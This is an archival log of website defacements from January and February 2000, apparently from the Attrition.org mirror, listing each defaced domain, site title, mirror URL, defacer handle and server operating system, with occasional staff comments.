Site Title: Toy Soldier
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/25/www.toy-soldier.com
Defaced by: BlacKcODe
Operating System: Windows nT
Defaced domain: www.ransom.org
Site Title: Ransom Memorial Hospital
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/25/www.ransom.org
Defaced by: p4riah
Operating System: Windows NT
Previously defaced on today by
Potentially offensive content on defaced page.
Defaced domain: www.sta.go.jp
Site Title: Japan Science and Technology Agency
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/26/www.sta.go.jp
Defaced by: ch1n4
Previously defaced on: 01.24.00
Previously defaced by: Brazil p00 hackerz
Operating System: unknown
Potentially offensive content on defaced page.
Defaced domain: www.sta.go.jp
Site Title: Japan Science and Technology Agency
Date: Defaced on 01.24.00
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/24/www.sta.go.jp
Defaced by: Brazil p00 hackerz
Operating System: unknown
Potentially offensive content on defaced page.
Note: According to articles from AP and Reuters, this is the first known
defacement of a Japanese Government server.
domain: www.stat.go.jp
Site Title: Japanese Statistics Bureau
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/26/www.stat.go.jp
Defaced by: Miracle
Operating System: Solaris (CERN/3.0A)
Potentially offensive content on defaced page.
ATTRITION Staff Comment:
This is the 3rd Japanese Government Web server defaced in days.
Defaced domain: www.chirolink.com
Site Title: Computer Information Exchange
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/26/www.chirolink.com
Defaced by: messiah
Operating System: Windows NT
Potentially offensive content on defaced page.
Defaced domain: www.ecrc.gmu.edu
Site Title: George Mason University
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/26/www.ecrc.gmu.edu
Defaced by: Oystr and Klam
Operating System: Solaris 2.5x
Potentially offensive content on defaced page.
ATTRITION Staff Comment: Mass hack w/ www.fecrc.com
Defaced domain: www.menofcolor2000.com
Site Title: Gemini Productions
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/26/www.menofcolor2000.com
Defaced by: pH
Operating System: BSDI 7.0
Potentially offensive content on defaced page.
Defaced domain: www.eli.com
Site Title: E. L. I. Inc
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/26/www.eli.com
Defaced by: Potus and PurpZeY
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.riopoty.com.br
Site Title: Hotel Rio Poty S/A
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/26/www.riopoty.com.br
Defaced by: (can't read the names)
Operating System: Windows NT (IIS/4.0)
Previously defaced on 00.01.23 by OHB
Potentially offensive content on defaced page.
Defaced domain: www.data1000.com.br
Site Title: Data1000 Processamento De Dados LTDA
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/26/www.data1000.com.br
Defaced by: Crime Boys
Operating System: Windows NT (IIS/3.0)
Potentially offensive content on defaced page.
Defaced domain: www.koogrules.com
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/26/www.koogrules.com
Defaced by: BlackLion
Operating System: FreeBSD 2.2.1 - 4.0
Potentially offensive content on defaced page.
Defaced domain: www.texasbookdepot.com
Site Title: Texas Book Depot
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/26/www.texasbookdepot.com
Defaced by: ReDDCell
Operating System: BSDI 7.0
Potentially offensive content on defaced page.
Defaced domain: www.sex-1000.com
Site Title: Karen Vardanian
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/26/www.sex-1000.com
Defaced by: ???
Operating System: Windows NT (IIS/4.0)
Previously defaced on 00.01.23 by Counter Culture
Potentially offensive content on defaced page.
Defaced domain: www.sltins.com
Site Title: Southwestern Financial Services Corp
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/27/www.sltins.com
Defaced by: Crime Boys
Operating System: BSDI 3.x
Previously defaced on 99.08.15 by
Potentially offensive content on defaced page.
Defaced domain: www.sine.pi.gov.br
Site Title: Governo do Estado do Piaui
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/26/www.sine.pi.gov.br
Defaced by: Crime Boy's
Operating System: Windwos NT
Potentially offensive content on defaced page.
Defaced domain: apes.ag.unr.edu
Site Title: University of Nevada
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/27/apes.ag.unr.edu
Defaced by: Team Echo
Operating System: Solaris
Potentially offensive content on defaced page.
Defaced domain: deptinfo.collegeem.qc.ca
Site Title: College Edouard-Montpetit
Mirror: http://www.attrition.org/mirror/attrition/2000/01/27/deptinfo.collegeem.qc.ca
Defaced by: Synoptic
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.mooney.com
Site Title: Mooney Aircraft, Inc.
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/27/www.mooney.com
Defaced by: PurpZey
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.credible.com
Site Title: Computer Credible
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/27/www.credible.com
Defaced by: Crime Boys
Operating System: Windows NT (IIS/3.0)
Previously defaced on 99.10.16 by FADFUCK
Potentially offensive content on defaced page.
Defaced domain: horizonsrv1.horizonpestcontrol.com
Site Title: Horizon Pest Control
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/27/horizonsrv1.horizonpestcontrol.com
Defaced by: The Keebler Elf
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: course.utsi.edu
Site Title: University of Tennessee Space Institute
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/27/course.utsi.edu
Defaced by: Team Echo
Operating System: Windows NT (PWS-95/2.0)
Potentially offensive content on defaced page.
Defaced domain: www.kia.gov.kw
Site Title: Kuwait Government
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/28/www.kia.gov.kw
Defaced by: Team Echo
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.aneel.gov.br
Site Title: Aneel-Agencia Nacional de Energia Eletrica
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/28/www.aneel.gov.br
Defaced by: Rogue
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.stileproject.com
Site Title: Stile Project
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/29/www.stileproject.com
Defaced by: C.M.A.S
Operating System: Linux
Potentially offensive content on defaced page.
ATTRITION Staff Comment: Interesting political type hack
Defaced domain: www.ukrin.com
Site Title: Nowicky Pharma
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/28/www.ukrin.com
Defaced by: slash
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.php.com
Site Title: Family Resource Center
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/28/www.php.com
Defaced by: OHB
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.okinawa.mpt.go.jp
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/29/www.okinawa.mpt.go.jp
Defaced by: Chinese
Operating System: Solaris 2.5x
HIDDEN comments in the HTML.
Potentially offensive content on defaced page.
Defaced domain: www.porno.co.za
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/29/www.porno.co.za
Operating System: Red Hat Linux
HIDDEN comments in the HTML.
Potentially offensive content on defaced page.
Defaced domain: www.cevi.be
Site Title: Belgium Centrum voor Informatica
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/29/www.cevi.be
Operating System: Windows NT (Microsoft-IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.evvcivitan.org
Site Title: Evansville Downtown Civitan Club
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/29/www.evvcivitan.org
Defaced by: Pimp
Operating System: Windows NT (Microsoft-IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.vea.org
Site Title: Virtual Enterprises Association
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/29/www.vea.org
Defaced by: slash
Operating System: Windows NT (IIS/4.0)
HIDDEN comments in the HTML.
Potentially offensive content on defaced page
Defaced domain: www.undac.edu.pe
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/29/www.undac.edu.pe
Defaced by: shredder
Operating System: Windows NT (IIS/3.0)
Potentially offensive content on defaced page.
Defaced domain: www.lakelandc.ab.ca
Site Title: Lakeland College
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/29/www.lakelandc.ab.ca
Defaced by: Net Illusion
Potentially offensive content on defaced page.
Defaced domain: www.nygatour.com
Site Title: National Youth Golf Association
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/30/www.nygatour.com
Defaced by: Artech
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.mbce.com.sa
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/30/www.mbce.com.sa
Defaced by: Artech
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.root.or.jp
Site Title: root-net
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/30/www.root.or.jp
Defaced by: fzk (China)
Operating System: Windows NT (IIS/3.0)
HIDDEN comments in the HTML.
Potentially offensive content on defaced page.
Defaced domain: www.tmig.or.jp
Site Title: Tokyo Metropolitan Institute of Gerontology
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/30/www.tmig.or.jp
Defaced by: China guangdong fzk
Operating System: Solaris 2.3 - 2.4
HIDDEN comments in the HTML.
Potentially offensive content on defaced page.
Defaced domain: niu2.uniplac.rct-sc.br
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/27/niu2.uniplac.rct-sc.br
Defaced by: dexter07
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: apes.ag.unr.edu
Site Title: University of Nevada
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/27/apes.ag.unr.edu
Defaced by: Team Echo
Operating System: Solaris
Potentially offensive content on defaced page.
Defaced domain: www.kidslearning.com
Site Title: kids Learning
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/30/www.kidslearning.com
Defaced by: thekiller
Operating System: Windows 3.11 or 95 (Netscape-FastTrack/2.0a)
Potentially offensive content on defaced page.
Site Title: Alexei Malofeyev
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/30/www.xxx-boys.com
Defaced by: Counter Culture
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.meikai.ac.jp
Site Title: Meikai University
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/30/www.meikai.ac.jp
Defaced by: fzk (China)
Operating System: Solaris
HIDDEN comments in the HTML.
Potentially offensive content on defaced page.
ATTRITION Staff Comment:
The defacers left an email to reach them at in the HTML comments
Defaced domain: www.ccpm.com.mx
Site Title: CCPM
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/30/www.ccpm.com.mx
Defaced by: alt3kx_h3z
Operating System: Solaris
Defaced domain: www.cdcs.com
Site Title: C & D Consulting, LLC
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/30/www.cdcs.com
Defaced by: PKiller
Operating System: Windows NT
Previously defaced on 99.11.14 00.01.22 by DHC slash
Defaced domain: www.hackernews.com.br
Site Title: Hacker News Brazil
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/30/www.hackernews.com.br
Defaced by: DHC
Operating System: Windows NT
Potentially offensive content on defaced page.
ATTRITION Staff Comment:
It seems that DHC received the password from someone with HNB and
then defaced it.
Defaced domain: as041.tel.hr
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/30/as041.tel.hr
Defaced by: netJoy
Operating System: Digital Unix
Potentially offensive content on defaced page.
Defaced domain: www.claudiaschiffer.com
Site Title: ptn media
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/30/www.claudiaschiffer.com
Defaced by: Dr_Delete
Operating System: Windows NT (IIS/3.0)
Potentially offensive content on defaced page.
Defaced domain: www.maxflow.com
Site Title: Maxflow, Inc.
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/30/www.maxflow.com
Defaced by: madhatt
Operating System: Linux
Potentially offensive content on defaced page.
Defaced domain: www.nat32.com
Site Title: A.C.T. Software
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/30/www.nat32.com
Defaced by: madhatt
Operating System: Linux
Potentially offensive content on defaced page.
Site Title: SQL Systems
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/30/www.teamsql.com
Defaced by: p4riah
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.topeo.com
Site Title: Topeo
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/30/www.topeo.com
Defaced by: p4riah
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.ptnmediainc.com
Site Title: PTN Media Inc.
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/30/www.ptnmediainc.com
Defaced by: Artech
Operating System: Windows NT
Defaced domain: www.salmankhan.com
Site Title: 481540 B.C. LTD.
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/30/www.salmankhan.com
Operating System: Linux
Potentially offensive content on defaced page.
Defaced domain: www.ccpm.com.mx
Site Title: Grupo C.C.P.M
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/30/www.ccpm.com.mx
Defaced by: kryptek
Operating System: Solaris 2.5x
Previously defaced on today by
Potentially offensive content on defaced page.
Defaced domain: www.one24.com
Site Title: ONE24, LLC
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/31/www.one24.com
Defaced by: wkD
Operating System: Red Hat Linux
Potentially offensive content on defaced page.
Defaced domain: www.jvc-america.com
Site Title: Rocktropolis Enterprises
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/31/www.jvc-america.com
Defaced by: messiah
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.vcandrews.org
Site Title: Garden in the Sky (VC Andrews fan site)
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/31/www.vcandrews.org
Defaced by: wkD
Operating System: Linux
Potentially offensive content on defaced page.
Defaced domain: www.scas.acad.bg
Site Title: Bulgarian Student Computer Arts Society
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/31/www.scas.acad.bg
Defaced by: The Killer
Operating System: Windows 95 (Microsoft-PWS-95/2.0)
Potentially offensive content on defaced page
Defaced domain: www.cevi.be
Site Title: CEVI
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/31/www.cevi.be
Defaced by: Carteblanche
Operating System: NT
Previously defaced on 00.01.29 by
Potentially offensive content on defaced page.
Defaced domain: www.temperance.com
Site Title: La Temperance
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/31/www.temperance.com
Defaced by: madhatt
Operating System: Cobalt Linux
Defaced domain: www.chesapeake-rehab.com
Site Title: CHesapeake Rehab Equipment Inc
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/31/www.chesapeake-rehab.com
Defaced by: thekiller
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.travelersaid.org
Site Title: Travelers Aid International
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/31/www.travelersaid.org
Defaced by: Crime Boy's
Operating System: Windows NT (IIS/4.0)
Previously defaced on 99.12.18 by Analognet
Potentially offensive content on defaced page.
ATTRITION Staff Comment: Also defaced: www.cisasailing.org
Defaced domain: www.webdr.com
Site Title: The WEB Doctor
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/31/www.webdr.com
Defaced by: wkD
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www-jmt.jst.go.jp
Site Title: Japan Science and Technology
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/31/www-jmt.jst.go.jp
Defaced by: wds
Operating System: Solaris 2.3 - 2.4
Potentially offensive content on defaced page.
Defaced domain: www.zajtra.com
Site Title: Zajtra Inc.
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/31/www.zajtra.com
Defaced by: p4riah
Operating System: Windows NT (IIS/4.0)
HIDDEN comments in the HTML.
Potentially offensive content on defaced page.
Defaced domain: www.mbce.com.sa
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/31/www.mbce.com.sa
Defaced by: VSO Inc
Operating System: Windows NT (IIS/4.0)
Previously defaced on 00.01.30 by Artech
Potentially offensive content on defaced page.
Defaced domain: www.zonked.com
Site Title: Ian Mack
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/31/www.zonked.com
Defaced by: p4riah
Operating System: WIndows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: seoulca.seoulcad.co.kr
Site Title: Seoul JeonSan HakWon
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/31/seoulca.seoulcad.co.kr
Defaced by: synk
Operating System: ALZZA/Linux
Potentially offensive content on defaced page.
Defaced domain: absence.vortexq.com
Site Title: Vortex Q
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/31/absence.vortexq.com
Defaced by: savecore
Operating System: FreeBSD 2.2.1 - 4.0
HIDDEN comments in the HTML.
Potentially offensive content on defaced page.
Defaced domain: www.th-bandt.com
Site Title: Cyber Cigar Direct Worldwide
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/31/www.th-bandt.com
Defaced by: p4riah
Operating System: Windows NT (IIS/4.0)
HIDDEN comments in the HTML.
Potentially offensive content on defaced page.
Defaced domain: www.levi.com
Site Title: Levi Strauss & Company
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/31/www.levi.com
Defaced by: avirex
Operating System: WinNT
Potentially offensive content on defaced page.
Defaced domain: www.pioneer.com.tw
Site Title: Vanguard Secureity Co
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/31/www.pioneer.com.tw
Defaced by: OHB
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.ironcurtaincorp.com
Site Title: Iron Curtain Corp
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/01/www.ironcurtaincorp.com
Defaced by: snow
Operating System: Red Hat Linux
HIDDEN comments in the HTML.
Potentially offensive content on defaced page.
Defaced domain: www.mct.ro
Site Title: Romanian Ministry of Research and Technology
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/01/www.mct.ro
Defaced by: The Killer
Operating System: Windows NT
Defaced domain: www.vsop.isas.ac.jp
Site Title: Japanese Institute of Space and Astronautical Science, VLBI Space Observatory Programme
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/01/www.vsop.isas.ac.jp
Defaced by: fzk
Operating System: Solaris
HIDDEN comments in the HTML.
Potentially offensive content on defaced page.
Defaced domain: www.schs.org
Site Title: South Christian High School
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/01/www.schs.org
Defaced by: TWS
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.jvcinfo.com
Site Title: JVC Information Products
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/01/www.jvcinfo.com
Defaced by: Crime Boys
Operating System: Windows NT
Potentially offensive content on defaced page.
Defaced domain: www.darkharbingers.com
Site Title: Allen Edger
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/01/www.darkharbingers.com
Operating System: Windows
Potentially offensive content on defaced page.
Defaced domain: www.fantex.com
Site Title: C.S.TEC.USA., INC.
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/01/www.fantex.com
Defaced by: paragone
Operating System: Linux
Potentially offensive content on defaced page.
Defaced domain: www.levi.com
Site Title: Levi Strauss & Company
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/01/www.levi.com
Defaced by: avirex
Operating System: NT
Previously defaced on 00.01.31 by avirex
ATTRITION Staff Comment: 2nd defacement in 2 days of this site
Defaced domain: kssna.com
Site Title: Kyung Sung Sea&Air Co., Ltd.
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/01/kssna.com
Defaced by: synk
Operating System: Red Hat Linux
Potentially offensive content on defaced page.
Defaced domain: www.car.gov.co
Site Title: Corporación Autónoma Regional de Cundinamarca
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/02/www.car.gov.co
Defaced by: The Killer
Operating System: Windows NT (Microsoft-IIS/3.0)
Potentially offensive content on defaced page.
Defaced domain: www.azlan.nl
Site Title: Azlan
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/02/www.azlan.nl
Defaced by: ViPER
Operating System: Windows NT (Microsoft-IIS/4.0)
Defaced domain: www.tcefl.pr.gov.br
Site Title: Companhia De Informatica Do Parana - Celepar
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/02/www.tcefl.pr.gov.br
Defaced by: VSO Team
Operating System: Windows NT
Potentially offensive content on defaced page.
Defaced domain: www.csdept.keene.edu
Site Title: Keene State College
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/02/www.csdept.keene.edu
Defaced by: ner0tec
Operating System: Red Hat Linux
Potentially offensive content on defaced page.
Defaced domain: www.cdcs.com
Site Title: C & D Consulting, LLC
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/02/www.cdcs.com
Defaced by: VSO Inc
Operating System: Windows NT (IIS/4.0)
Previously defaced on 00.01.30, 00.01.22, 99.11.14 by PKiller, slash, DHC
Potentially offensive content on defaced page.
Defaced domain: www.partizan.co.yu
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/02/www.partizan.co.yu
Defaced by: SoiraM
Operating System: Linux
Potentially offensive content on defaced page.
Defaced domain: www.rodmar.co.za
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/02/www.rodmar.co.za
Defaced by: Tr1pl3 S31S
Operating System: NT
Defaced domain: www.dnp.gov.co
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/02/www.dnp.gov.co
Defaced by: KabraLzZ
Operating System: NT
Potentially offensive content on defaced page.
Defaced domain: www.kidslearning.com
Site Title: kids Learning
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/02/www.kidslearning.com
Defaced by: OHB
Operating System: NT
Previously defaced on 00.01.30 by The Killer
Potentially offensive content on defaced page.
Defaced domain: www.maderacoe.k12.ca.us
Site Title: California K12 Schools
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/02/www.maderacoe.k12.ca.us
Defaced by: protokol
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.centralindiana.com
Site Title: Crawford Communications, Inc
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/03/www.centralindiana.com
Defaced by: Team Echo
Operating System: Windows NT
Potentially offensive content on defaced page.
Site Title: CISA
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/03/www.cisasailing.org
Defaced by: Crime Boys
Operating System: Windows NT
Previously defaced on 00.01.21 by Team Echo
Potentially offensive content on defaced page.
Defaced domain: www.imaginet.co.za
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/03/www.imaginet.co.za
Defaced by: akt0r
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.compcom.com.au
Site Title: Communications Projects and Computing
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/03/www.compcom.com.au
Defaced by: Crime Boys
Operating System: Windows NT
Potentially offensive content on defaced page.
Defaced domain: www.lschs.wyndmoor.pa.us
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/03/www.lschs.wyndmoor.pa.us
Defaced by: confusion
Operating System: WinNT
Potentially offensive content on defaced page.
Defaced domain: webhost.co.ocean.nj.us
Site Title: Ocean, New Jersey
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/03/webhost.co.ocean.nj.us
Defaced by: confusion
Operating System: WinNT
Potentially offensive content on defaced page.
Defaced domain: ns1.culver-city.ca.us
Site Title: Culver City, California
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/03/ns1.culver-city.ca.us
Defaced by: confusion
Operating System: WinNT
Potentially offensive content on defaced page.
Defaced domain: www.yolocounty.org
Site Title: AmrouTechnologies
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/03/www.yolocounty.org
Defaced by: confusion
Operating System: WinNT
Potentially offensive content on defaced page.
Defaced domain: www.lgenterprises.threadnet.com
Site Title: Thread Net Inc.
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/03/www.lgenterprises.threadnet.com
Defaced by: ph33r the b33r
Operating System: Linux
Potentially offensive content on defaced page.
Defaced domain: mccs.co.moore.nc.us
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/03/mccs.co.moore.nc.us
Defaced by: confusion
Operating System: WinNT
Potentially offensive content on defaced page.
Defaced domain: www.dreamshell.com
Site Title: DreamShell
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/04/www.dreamshell.com
Defaced by: Dor
Operating System: Red Hat Linux
Potentially offensive content on defaced page.
Defaced domain: www.chordboard.com
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/04/www.chordboard.com
Defaced by: snow
Operating System: Windows NT (IIS/3.0)
Potentially offensive content on defaced page.
Defaced domain: www.enoch.com
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/04/www.enoch.com
Defaced by: snow
Operating System: Windows NT (IIS/3.0)
Previously defaced on 99.05.17 by forpaxe
Potentially offensive content on defaced page.
Defaced domain: www.sglyne.com
Site Title: Sglyne
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/04/www.sglyne.com
Defaced by: DEATHaCeS 4nd InSt|nCt
Operating System: Linux
Potentially offensive content on defaced page.
Defaced domain: www.metris.be
Site Title: Metris nv
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/04/www.metris.be
Defaced by: Illusions Team
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.cfaith.org
Site Title: Faith Center
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/04/www.cfaith.org
Defaced by: tws
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.tyranny.org
Site Title: Tyranny.org
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/04/www.tyranny.org
Defaced by: NeoTek
Operating System: Linux
Potentially offensive content on defaced page.
Defaced domain: www.westcon.com
Site Title: Westcon Inc
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/04/www.westcon.com
Defaced by: Wild Karrde
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.environmentalshop.com
Site Title: Air & Waste Management Association
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/05/www.environmentalshop.com
Defaced by: moron signed as "(/)ï§/-ë®_Ë
Operating System: FreeBSD
ATTRITION Staff Comment: Netcraft: [9]www.environmentalshop.com is running Microsoft-IIS/4.0 on
Defaced domain: www.ekitchennews.com
Site Title: SLTD Media Production
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/05/www.ekitchennews.com
Defaced by: nemesystm
Operating System: FreeBSD
Potentially offensive content on defaced page.
Defaced domain: www.dtr-software.com
Site Title: DTR Software International
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/05/www.dtr-software.com
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.cameo.com.tw
Site Title: Cameo Communications
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/05/www.cameo.com.tw
Defaced by: Crime Boys
Operating System: Windows NT (IIS/4.0)
Previously defaced on 99.09.08 by
Potentially offensive content on defaced page.
Defaced domain: www.sltd.com
Site Title: sltd
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/05/www.sltd.com
Defaced by: nemesystm
Operating System: FreeBSD
Potentially offensive content on defaced page.
Defaced domain: www.wohcrew.com
Site Title: WOH
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/05/www.wohcrew.com
Operating System: Linux
Potentially offensive content on defaced page.
Defaced domain: www.setindia.com
Site Title: Sony Entertainment Television India
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/05/www.setindia.com
Defaced by: Harkat-ul-mOs
Operating System: Linux
Potentially offensive content on defaced page.
ATTRITION Staff Comment:
Very interesting message in this defacement. Definite signs of hacktivism.
Defaced domain: www.nirveradio.com
Site Title: NIRVE Sports LTD
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/05/www.nirveradio.com
Defaced by: trent
Operating System: Linux
Potentially offensive content on defaced page.
Defaced domain: careers.altavista.com
Site Title: Digital Equipment Corporation
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/05/careers.altavista.com
Defaced by: unknown
Operating System: Solaris
Potentially offensive content on defaced page.
Defaced domain: dolphin.kyungsung.ac.kr
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/05/dolphin.kyungsung.ac.kr
Defaced by: kryptek
Operating System: Solaris 2.5x
HIDDEN comments in the HTML.
Potentially offensive content on defaced page.
Defaced domain: www.ehsal.be
Site Title: EHSAL
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/05/www.ehsal.be
Defaced by: illusions team
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.scroc.com
Site Title: Scroc
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/05/www.scroc.com
Defaced by: Illusions Team
Operating System: Irix
Potentially offensive content on defaced page.
Defaced domain: www.lakelandc.ab.ca
Site Title: Lakeland College
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/05/www.lakelandc.ab.ca
Defaced by: Illusions Team
Operating System: Windows NT
Previously defaced on 00.01.29 by Net Illusion
Potentially offensive content on defaced page.
Defaced domain: venom.byu.edu
Site Title: Brigham Young University
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/05/venom.byu.edu
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.aneel.gov.br
Site Title: Aneel-Agencia Nacional de Energia Eletrica
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/05/www.aneel.gov.br
Defaced by: CYB3R FUCK3RS
Operating System: Windows NT (IIS/4.0)
Previously defaced on 00.01.28 by Rogue
Potentially offensive content on defaced page.
